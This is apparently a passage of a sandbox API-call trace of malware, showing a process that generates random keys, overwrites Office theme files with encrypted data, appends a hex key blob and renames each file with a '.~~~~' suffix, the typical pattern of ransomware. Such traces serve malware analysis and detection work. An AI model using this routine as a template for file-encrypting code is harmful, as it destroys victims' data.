	[0121.493] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.493] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.493] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.493] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.493] CloseHandle (hObject=0x140) returned 1
	[0121.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0121.493] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\angles.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\angles.thmx.~~~~")) returned 1
	[0121.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.495] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0121.495] GetLastError () returned 0x0
	[0121.496] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0121.497] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0121.497] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0121.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0121.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0121.497] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24148708065) returned 1
	[0121.497] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb1e2d910, dwHighDateTime=0x1d60e1e)) 
	[0121.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0121.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0121.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0121.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39cc10
	[0121.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cc10 | out: hHeap=0x300000) returned 1
	[0121.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0121.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.498] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0121.498] GetLastError () returned 0x0
	[0121.498] GetLastError () returned 0x0
	[0121.498] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0121.498] GetLastError () returned 0x0
	[0121.498] GetLastError () returned 0x0
	[0121.534] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.534] WriteFile (in: hFile=0x140, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0121.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0121.537] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.537] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.539] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.539] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.539] CloseHandle (hObject=0x140) returned 1
	[0121.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b04e0
	[0121.539] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apex.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apex.thmx.~~~~")) returned 1
	[0121.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b04e0 | out: hHeap=0x300000) returned 1
	[0121.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0121.605] GetLastError () returned 0x0
	[0121.605] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0121.606] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.607] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0121.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0121.607] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24159692747) returned 1
	[0121.607] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb1f382b0, dwHighDateTime=0x1d60e1e)) 
	[0121.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0121.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0121.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0121.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e418
	[0121.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e418 | out: hHeap=0x300000) returned 1
	[0121.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b04e0
	[0121.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.608] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0121.608] GetLastError () returned 0x0
	[0121.608] GetLastError () returned 0x0
	[0121.608] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0121.608] GetLastError () returned 0x0
	[0121.608] GetLastError () returned 0x0
	[0121.612] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.612] WriteFile (in: hFile=0x140, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0121.615] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0121.615] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.616] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.618] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.618] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.618] CloseHandle (hObject=0x140) returned 1
	[0121.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0121.618] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx.~~~~")) returned 1
	[0121.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0121.619] GetLastError () returned 0x0
	[0121.621] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0121.622] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0121.622] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0121.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0121.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0121.622] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24161203031) returned 1
	[0121.622] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb1f5e410, dwHighDateTime=0x1d60e1e)) 
	[0121.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0121.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0121.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0121.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e450
	[0121.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0121.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e450 | out: hHeap=0x300000) returned 1
	[0121.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0121.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1b70
	[0121.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.623] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0121.623] GetLastError () returned 0x0
	[0121.623] GetLastError () returned 0x0
	[0121.623] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0121.623] GetLastError () returned 0x0
	[0121.623] GetLastError () returned 0x0
	[0121.627] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.627] WriteFile (in: hFile=0x140, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0121.630] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0121.630] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.630] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.632] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.632] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.632] CloseHandle (hObject=0x140) returned 1
	[0121.633] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0121.633] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\elemental.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\elemental.thmx.~~~~")) returned 1
	[0121.634] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.634] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0121.634] GetLastError () returned 0x0
	[0121.635] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39ff38) returned 1
	[0121.636] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0121.636] CryptReleaseContext (hProv=0x39ff38, dwFlags=0x0) returned 1
	[0121.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0121.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0121.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0121.636] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24162633189) returned 1
	[0121.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb1f84570, dwHighDateTime=0x1d60e1e)) 
	[0121.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0121.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0121.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0121.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e488
	[0121.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e488 | out: hHeap=0x300000) returned 1
	[0121.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2030
	[0121.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.637] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0121.637] GetLastError () returned 0x0
	[0121.637] GetLastError () returned 0x0
	[0121.637] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0121.638] GetLastError () returned 0x0
	[0121.638] GetLastError () returned 0x0
	[0121.678] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffef09f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.678] WriteFile (in: hFile=0x140, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x10f61, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x10f61, lpOverlapped=0x0) returned 1
	[0121.679] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0121.679] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.679] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.679] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.679] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.680] CloseHandle (hObject=0x140) returned 1
	[0121.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0121.727] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\equity.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\equity.thmx.~~~~")) returned 1
	[0121.741] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.741] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0121.741] GetLastError () returned 0x0
	[0121.873] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0121.874] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.874] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0121.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0121.874] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24186404429) returned 1
	[0121.874] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb21bfa10, dwHighDateTime=0x1d60e1e)) 
	[0121.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0121.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0121.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0121.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2833050
	[0121.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2833050 | out: hHeap=0x300000) returned 1
	[0121.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3eac70
	[0121.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc960
	[0121.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
	[0121.875] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0121.875] GetLastError () returned 0x0
	[0121.875] GetLastError () returned 0x0
	[0121.875] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0121.875] GetLastError () returned 0x0
	[0121.875] GetLastError () returned 0x0
	[0121.891] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffec50f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.891] WriteFile (in: hFile=0x138, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x13af1, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0x13af1, lpOverlapped=0x0) returned 1
	[0121.893] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
